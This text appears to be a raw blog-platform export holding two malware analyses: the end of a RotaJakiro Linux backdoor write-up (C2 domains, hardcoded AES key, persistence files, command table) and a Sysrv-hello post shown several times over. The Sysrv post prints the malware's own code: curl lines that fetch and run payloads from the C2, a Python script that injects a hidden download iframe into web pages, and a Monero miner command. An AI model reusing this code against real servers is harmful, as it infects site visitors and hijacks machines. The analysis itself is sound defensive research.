embedded. These 4 C2 domains have very close ```Crteated,Updated and Expired``` time, readers will notice that the crated data was in Dec 2015, 6 years ago.\n| Domain | Detection | Created | Last Updated | Expired |\n| ---------------------- | --------- | ------------------- | ------------------- | ------------------- |\n| news.thaprior.net | 0/83 | 2015-12-09 06:24:13 | 2020-12-03 07:24:33 | 2021-12-09 06:24:13 |\n| blog.eduelects.com | 0/83 | 2015-12-10 13:12:52 | 2020-12-03 07:24:33 | 2021-12-10 13:12:52 |\n| cdn.mirror-codes.net | 0/83 | 2015-12-09 06:24:19 | 2020-12-03 07:24:32 | 2021-12-09 06:24:19 |\n| status.sublineover.net | 0/83 | 2015-12-09 06:24:24 | 2020-12-03 07:24:32 | 2021-12-09 06:24:24 |\n\n\n## Reverse Analysis\nThe 4 RotaJakiro samples, with time distribution from 2018 to 2021, are very close to their functions, and the 2021 sample is selected for analysis in this blog, which has the following basic information:\n```\nMD5:64f6cfe44ba08b0babdd3904233c4857\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped\nPacker:No\n```\n```At the coding level```, RotaJakiro uses techniques such as dynamic AES, double-layer encrypted communication protocols to counteract the binary & network traffic analysis.\n```At the functional level```, RotaJakiro first determines whether the user is root or non-root at run time, with different execution policies for different accounts, then decrypts the relevant sensitive resources using AES& ROTATE for subsequent ```persistence```, ```process guarding``` and ```single instance``` use, and finally establishes communication with C2 and waits for the execution of commands issued by C2.\n\nThe following will analyze the specific implementation of RotaJakiro from the above perspective.\n## 0x00: Tricks used by the sample\n* Dynamically generate a table of constants required by the AES encryption algorithm to prevent the algorithm from being directly identified\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_dynaes.png\" width=\"860px\" />\n* Use stack strings obfuscation technique to store encrypted sensitive resource information\n <img src=\"__GHOST_URL__/content/images/2021/04/jak_stack.png\" width=\"860px\" />\n* Network communication using double layer encryption\n## 0x01: Encryption algorithm\n\n All sensitive resources in RotaJakiro are encrypted, and in IDA we can see that the decryption method **dec_proc** is called 60 times, which is composed of AES and Rotate.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_dec.png\" width=\"860px\" />\nThe AES decryption entry is as follows:\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_aes.png\" width=\"860px\" />\nWhere ```aes_dec``` is AES-256, CBC mode, key&iv are hardcoded.\n* KEY\n```\n 14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00 \n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n```\n* IV\n```\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n```\nThe Rotate decryption entry is shown below:\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rota.png\" width=\"860px\" />\nThe so-called Rotate is a cyclic shift, we can see that the number of shifts is determined by the value of ```plain_len(length of plaintext) &7```.\n\nTake the following C2 cipher text as an example.\n```\nff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99 \nac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60\n```\nThe various parameters related to decryption are shown below, the length of the ciphertext is 32 bytes and the length of the plaintext is 26 bytes.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_exp.png\" width=\"860px\" />\n**First**, decrypting with AES, we get the following \"sub-ciphertext\".\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_valid.png\" width=\"860px\" />\n**Then**, the valid ciphertext is extracted from the sub-ciphertext, where the valid ciphertext starts from the 8th byte, and the length is the plaintext length minus 8, which is 26-8=18 bytes here.\n```\n98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8 \nDB 5B\n```\n**Finally**, we can calculate 26(the length of plaintext is 26)&7=2, and get the number of shifts, and shift the above valid ciphertext byte by byte by 2 bits to get C2 plaintext.\n```\nblog.eduelects.com\n```\n## 0x02: Persistence\nRotaJakiro makes a distinction between ```root/non-root``` users when implementing persistence features, and different techniques are used for different accounts.\n### root account\n* Depending on the Linux distribution, create the corresponding self-starting script ```/etc/init/systemd-agent.conf``` or ```/lib/systemd/system/sys-temd-agent.service```.\n ```\n Content of systemd-agent.conf\n -----------------------------\n #system-daemon - configure for system daemon\n #This service causes system have an associated\n #kernel object to be started on boot.\n description \"system daemon\"\n start on filesystem or runlevel [2345]\n exec /bin/systemd/systemd-daemon\n respawn \n ```\n\n\n ```\n Content of systemd-agent.service\n -----------------------------\n [Unit]\n Description=System Daemon\n Wants=network-online.target\n After=network-online.target\n [Service]\n ExecStart=/usr/lib/systemd/systemd-daemon\n Restart=always\n [Install]\n ```\n* The file name used for the disguise is one of the following twos.\n\n ```\n /bin/systemd/systemd-daemon\n /usr/lib/systemd/systemd-daemon\n ```\n### non-root account\n* Create autostart script```$HOME/.config/au-tostart/gnomehelper.desktop``` for **desktop environment** \n ```\n [Desktop Entry]\n Type=Application\n Exec=$HOME/.gvfsd/.profile/gvfsd-helper\n ```\n* Modify the ```.bashrc``` file to create the autostart script for the **shell environment**\n ```\n # Add GNOME's helper designed to work with the I/O abstraction of GIO\n # this environment variable is set, gvfsd will not start the fuse filesystem\n if [ -d ${HOME} ]; then\n ${HOME}/.gvfsd/.profile/gvfsd-helper\n fi\n ```\n* The file name used for the disguise, both of which exist at the same time\n ```\n $HOME/.dbus/sessions/session-dbus\n $HOME/.gvfsd/.profile/gvfsd-helper\n ```\n \n \n## 0x03:Process guarding\nRotaJakiro implements process guarding to protect its own operation, and like persistence, there are different implementations for ```root/non-root``` users.\n### root account\nWhen running under the root account, depending on the Linux distribution, a new process is automatically created when the service process is terminated by writing ```Restart=always or respawn``` to the service's configuration file.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rootcfg.png\" width=\"860px\" />\nThe actual result is shown in the figure below, where you can see that a new process is created immediately after the systemd-daemon process is terminated.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_rootprot.png\" width=\"860px\" />\n### non-root account\nWhen running under a non-root account, RotaJakiro generates two processes, ```session-dbus``` and ```gvfsd-helper```, which monitor each other's survival and restore them when one of them is terminated, which is very typical of dual-process protection.\n\nHow is RotaJakiro's dual-process protection implemented?\n\n**First**, it creates a piece of shared memory with the ```shmget API```, and session-dbus and gvfsd-helper communicate with each other through this shared memory, telling each other their PIDs.\n**Then**, dynamically fetching the process survival through the ```/proc/[PID]``` directory. When the other process is found dead, the process is created by **execvp** API to help the dead process \"resurrect\", as shown in the following diagram.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_monitor.png\" width=\"860px\" />\nThe actual effect is shown in the figure below, you can see that after session-dbus and gvfsd-helper are ended by kill -9, new processes are created right away.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_nonrprot.png\" width=\"860px\" />\n\n## 0x04: Single instance\nRotaJakiro implements a single instance by file locking, as shown below.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_single.png\" width=\"860px\" />\nThe lockfile used in this differs under the root/non-root account.\n* The lockfile under root, one will be created.\n ```\n /usr/lib32/.X11/X0-lock\n /bin/lib32/.X11/X0-lock\n ```\n* The lockfile under non-root, both will be created.\n ```\n $HOME/.X11/X0-lock\n $HOME/.X11/.X11-lock\n ```\nIn the actual non-root account, for example, the processes and file locks can be matched by ```/proc/locks```, and then the corresponding RotaJakiro sample is executed.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_instance.png\" width=\"860px\" />\n## 0x05: Network communication\nRotaJakiro establishes communication with C2 through the following code snippet, pending the execution of subsequent commands.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_stage.png\" width=\"860px\" />\nThis process can be divided into 2 stages\n* Stage 1, initialization phase\nDecrypt the C2 list, establish a connection with C2, send the online information, receive and decrypt the information returned by C2.\n * Stage 2, wait for C2 calls\nVerify the information returned by C2, if it passes the verification, execute the subsequent instructions sent by C2.\n### Stage 1: Initialization\nThe C2 list is decrypted by the decryption algorithm described in the previous section, and the following four C2s are built into the sample at present.\n```\nnews.thaprior.net\nblog.eduelects.com\ncdn.mirror-codes.net\nstatus.sublineover.net\n```\nRotaJakiro will first try to establish a connection with them, and then construct the golive message by the following code snippet.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_cons.png\" width=\"860px\" />\nThen it encrypts the golive information and sends it to the C2s\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_xor.png\" width=\"860px\" />\nFinally, it receives the packet back from the C2, decrypts it and checks its legitimacy, and if it passes the check, it goes to Stage 2.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_recvreg.png\" width=\"860px\" />\n### Stage 2: Specific operations\nReceive and execute the command from C2 through the following codesnippet.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_stage2.png\" width=\"860px\" />\nAt present, RotaJakiro supports a total of 12 instructions, and the correspondence between the instruction code and the function is shown in the following table.\n| CmdId | Function |\n| --------- | ------------------------- |\n| 0x138E3E6 | Exit |\n| 0x208307A | Test |\n| 0x5CCA727 | Heartbeat |\n| 0x17B1CC4 | Set C2 timeout time |\n| 0x25360EA | Steal Senstive Info |\n| 0x18320e0 | Upload Device Info |\n| 0x2E25992 | Deliver File/Plugin |\n| 0x2CD9070 | Query File/Plugin Status |\n| 0x12B3629 | Delete File/Plugin Or Dir |\n| 0x1B25503 | Run Plugin_0x39C93E |\n| 0x1532E65 | Run Plugin_0x75A7A2 |\n| 0x25D5082 | Run Plugin_0x536D01 |\nThe **Run Plugin** function reuses the same code and implements the function call through the following logic.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_plugin.png\" width=\"860px\" />\nWe are currently not capturing such payloads, so we use the ```Plugin_\"parameter\"``` form to represent different tasks.\n\n## 0x06 Packet analysis\nThe network communication packet of RotaJakiro consists of three parts: ```Head, Key, Payload```.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_packet.png\" width=\"860px\" />\n```Head``` is mandatory and 82 bytes long, and the ```Key & Payload``` parts are optional. \n```Head & Key```are encrypted with XOR & Rotate, and ```Payload``` is encrypted with AES & ZLIB Compression.\nIn the following, we will illustrate the composition of network traffic ```head&key&payload``` and the decryption process through a round of interaction between Bot and C2.\n\n### C2 -> Bot\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_cmd.png\" width=\"860px\" />\n\nThe first 0x52 bytes are the content of the Head. How to decrypt the head? Very simple, ```shift 3 bits left byte by byte, and then XOR with 0x1b```. After decryption, we can get the following content.\n```\n00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|\n00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|\n00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|\n00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|\n00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|\n00000050 81 28\n------------filed parse------------------\noffset 0x09, 4 bytes--->payload length\noffset 0x0d, 2 bytes--->body length\noffset ox0f, 4 bytes--->cmdid\n```\nThrough the field parsing, we can know that the length of key is 0x8 bytes, the length of payload is 0x20 bytes, and the instruction code to be executed is 0x18320e0, that is, the ```report device information```.Reading 8 bytes from offset 0x52 gives the **Key**```ea 9a 1a 18 18 44 26 a0```, and using the same decryption method as head, we get ```4c cf cb dbdb 39 2a 1e```, which is used as the AES key to decrypt the Payload.\n\nReading 32 bytes from offset 0x5a gives us the following **Payload**.\n```\n54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b \nb2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d\n```\nUsing the decrypted key as the AES-256 key, decrypt the above data in CBC mode to get the following content.\n```\n3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28\n```\nThe 8th byte onwards is ZLIB compressed data, decompressed to get the following content.\n```\n08 00 00 00 bf 89 88 08 cd 2d fd 50\n------------filed parse------------------\noffset 0, 4 bytes--->length\n```\nWhat is the use of the decompressed Payload(```bf 89 88 08 cd 2d fd 50```)? It is used as **a new AES key to decrypt some sensitive resource information**.\n\nFor example, when Bot collects device information, one of the information is the current OS distribution, which is implemented by the ```cat /etc/*release | uniq``` command.\n```\nroot@debian:~# cat /etc/*release | uniq\nPRETTY_NAME=\"Debian GNU/Linux 9 (stretch)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"9\"\nVERSION=\"9 (stretch)\"\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n```\nThe``` cat /etc/*release | uniq``` command is the result of the following cipher text \n```\n\"cat /etc/*release | uniq\" cmd_ciphertxt\n---------------------------\n74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81 \n6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a \n6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca\n```\ndecrypted with the ```new AES key and the parameters``` in the following figure.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_paykey.png\" width=\"860px\" />\n\n### Bot -> C2\nWhen BOT receives C2's \"report device information\" command, it will send the following data to C2, and you can see that the value of the key part is still ```ea 9a 1a 18 18 44 26 a0```.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_payload.png\" width=\"860px\" />\nThe decrypted key value is ```4c cf cb db db 39 2a 1e```. After decrypting and decompressing the payload sent by Bot to C2, we get the following data, which is the various information of the device, including the information obtained by ```cat /etc/*release | uniq ```mentioned before, which verifies that our analysis is correct.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_device-1.png\" width=\"860px\" />\n## Relationship with the Torii Botnet \nThe [Torii botnet](https://blog.avast.com/new-torii-botnet-threat-research) was exposed by Avast on September 20, 2018, and we noticed that there are some the similarities between the twos,for example:\n#### 1: String similarity\nAfter decrypting the sensitive resources of RotaJakiro & Torii, we found that they reuse a lot of the same commands.\n```\n1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'\n2：which semanage\n3：cat /etc/*release \n4：cat /etc/issue\n5：systemctl enable\n6：initctl start\n...\n```\n\n#### 2: Traffic similarity\nIn the process of constructing the flow, a large number of constants are used and the construction methods are very close.\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_compare.png\" width=\"860px\" />\n#### 3: Functional similarity\nFrom the perspective of reverse engineering, RotaJakiro & Torii share similar styles: the use of encryption algorithms to hide sensitive resources, the implementation of a rather old-school style of persistence,structured network traffic, etc.\n\nWe don’t exactly know the answer, but it seems that RotaJakiro and Torii have some connections.\n## The tip of the iceberg\nWhile this concludes our analysis of RotaJakiro, the real work is far from over, and many questions remain unanswered: \"How did RotaJakiro spread, and what was its purpose?\" , \"Does RotaJakiro have a specific target?”, We would love to know if the community has relevant leads.\n## Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to **netlabat[at]360.cn**.\n## IOC \n\nSample MD5\n\n```\n1d45cd2c1283f927940c099b8fab593b\n11ad1e9b74b144d564825d65d7fb37d6\n5c0f375e92f551e8f2321b141c15c48f\n64f6cfe44ba08b0babdd3904233c4857\n```\n\nC2\n\n```\nnews.thaprior.net:443\nblog.eduelects.com:443\ncdn.mirror-codes.net:443\nstatus.sublineover.net:443\n```\n\nIP\n```\n176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6088ce8d3819e500076335cb |
post | null | 2021-04-29T00:56:46.000Z | 63873b9a8b1c1e0007f52fb9 | threat-alert-new-update-from-sysrv-hello-now-infecting-victims-webpages-to-push-malicious-exe-to-end-users | 0 | 2021-07-08T02:30:27.000Z | public | published | null | 2021-04-29T10:00:00.000Z | Threat Alert: New update from Sysrv-hello, now infecting victims‘ webpages to push malicious exe to end users | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the <a href="__GHOST_URL__/rinfo-is-making-a-comeback-and-is-scanning-and-mining-in-full-speed/">[rinfo]</a><a href="__GHOST_URL__/threat-alert-z0miner-is-spreading-quickly-by-exploiting-elasticsearch-and-jenkins-vulnerabilities/">[z0miner]</a>. And the latest case comes from <a href="https://help.aliyun.com/document_detail/196163.html">Sysrv-hello</a>. Two security companies have recently analyzed the new variant of the family <a href="https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence">[1]</a><a href="https://www.lacework.com/sysrv-hello-expands-infrastructure/">[2]</a>, but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.</p>
<h2 id="newmodulesofapyandbrowserupdateexe">New modules of a.py and BrowserUpdate.exe</h2>
<p>We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:</p>
<pre><code>curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
</code></pre>
<p>You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.</p>
<p>The a.py file is a Python program, with only 20 lines of code.</p>
<pre><code>import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
for root, dirs, files in os.walk(_dir):
for i in files:
path = os.path.join(root, i)
if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
continue
try:
with open(path) as f:
data = f.read()
if (d in data) or ("<head>" not in data):
continue
with open(path, "w") as f:
f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
except:
continue
dst = os.path.join(root, "BrowserUpdate.exe")
os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
</code></pre>
<p>The function of this code is to go through the directories of <code>"/var", "/usr/local", "/home"</code> and <code>"/opt"</code> on the infected machine, looking for web files with <code>".html", ".php", ".htm", ".jsp", ".asp"</code> or <code>".tpl"</code> suffixes, and inserting an iframe code into them once found.</p>
<pre><code><head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
</code></pre>
<p>So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.</p>
<p>BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of <a href="https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection">CoinMiner</a>. The exe will release two 64-bit PE files:</p>
<pre><code>CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
</code></pre>
<p>Then BrowserUpdate.exe will call the two files using the following command.</p>
<pre><code>cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<p>The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of <a href="https://github.com/xmrig/xmrig">xmrig suite</a>, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been <a href="https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection">reports</a> about them by other vendors.</p>
<h2 id="summary">Summary</h2>
<p>Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.<br>
Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab[at]360.cn.</p>
<h2 id="ioc">IoC</h2>
<h3 id="md5">MD5</h3>
<pre><code>833822feda97936d690ff6b983ad1a87 ldr.sh
645647171d92e1fe289b63bbd2f2db86 a.py
048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
</code></pre>
<h3 id="minerpoolandwallet">miner pool and wallet</h3>
<pre><code>pool: xmr-eu2.nanopool.org:14444
wallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<!--kg-card-end: markdown--> | Overview
From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello. Two security companies have recently analyzed the new variant of the family [1][2], but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.
New modules of a.py and BrowserUpdate.exe
We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.
The a.py file is a Python program, with only 20 lines of code.
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
for root, dirs, files in os.walk(_dir):
for i in files:
path = os.path.join(root, i)
if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
continue
try:
with open(path) as f:
data = f.read()
if (d in data) or ("<head>" not in data):
continue
with open(path, "w") as f:
f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
except:
continue
dst = os.path.join(root, "BrowserUpdate.exe")
os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
The function of this code is to go through the directories of "/var", "/usr/local", "/home" and "/opt" on the infected machine, looking for web files with ".html", ".php", ".htm", ".jsp", ".asp" or ".tpl" suffixes, and inserting an iframe code into them once found.
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.
BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of CoinMiner. The exe will release two 64-bit PE files:
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
Then BrowserUpdate.exe will call the two files using the following command.
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of xmrig suite, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been reports about them by other vendors.
Summary
Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.
Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab[at]360.cn.
IoC
MD5
833822feda97936d690ff6b983ad1a87 ldr.sh
645647171d92e1fe289b63bbd2f2db86 a.py
048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS
URL
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
miner pool and wallet
pool: xmr-eu2.nanopool.org:14444
wallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Overview\nFrom the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [[rinfo]](__GHOST_URL__/rinfo-is-making-a-comeback-and-is-scanning-and-mining-in-full-speed/)[[z0miner]](__GHOST_URL__/threat-alert-z0miner-is-spreading-quickly-by-exploiting-elasticsearch-and-jenkins-vulnerabilities/). And the latest case comes from [Sysrv-hello](https://help.aliyun.com/document_detail/196163.html). Two security companies have recently analyzed the new variant of the family [[1]](https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence)[[2]](https://www.lacework.com/sysrv-hello-expands-infrastructure/), but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.\n\n##New modules of a.py and BrowserUpdate.exe\nWe know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:\n```\ncurl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe\ncurl $cc/a.py > /tmp/a.py\npython /tmp/a.py &\nnohup python /tmp/a.py 1>/dev/null 2>&1 &\n```\nYou can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.\n\nThe a.py file is a Python program, with only 20 lines of code.\n```\nimport os\nd = \"<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\"\nfor _dir in [\"/var\", \"/usr/local\", \"/home\", \"/opt\"]:\n for root, dirs, files in os.walk(_dir):\n for i in files:\n path = os.path.join(root, i)\n if os.path.splitext(path)[1] not in [\".html\", \".php\", \".htm\", \".jsp\", \".asp\", \".tpl\"]:\n continue\n try:\n with open(path) as f:\n data = f.read()\n if (d in data) or (\"<head>\" not in data):\n continue\n with open(path, \"w\") as f:\n f.write(data.replace(\"<head>\", \"<head>\"+d))#+'<script async=\"async\" src=\"//bmst.pw/6034003x100.js\"></script>'))\n except:\n continue\n dst = os.path.join(root, \"BrowserUpdate.exe\")\n os.system(\"cp -rf /tmp/BrowserUpdate.exe '%s'\" % dst)\nos.system(\"rm -rf /tmp/BrowserUpdate.exe\")\n```\nThe function of this code is to go through the directories of ```\"/var\", \"/usr/local\", \"/home\"``` and ```\"/opt\"``` on the infected machine, looking for web files with ```\".html\", \".php\", \".htm\", \".jsp\", \".asp\"``` or ```\".tpl\"``` suffixes, and inserting an iframe code into them once found.\n```\n<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\n```\nSo, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let’s take a look at this exe file.\n\nBrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of [CoinMiner](https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection). The exe will release two 64-bit PE files:\n```\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\ModuleInstaller.exe\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\WinRing0x64.sys\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\n```\nThen BrowserUpdate.exe will call the two files using the following command.\n```\ncmd /c \\\"%TEMP%\\\\ModuleInstaller.exe\\\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\nThe above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of [xmrig suite](https://github.com/xmrig/xmrig), with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been 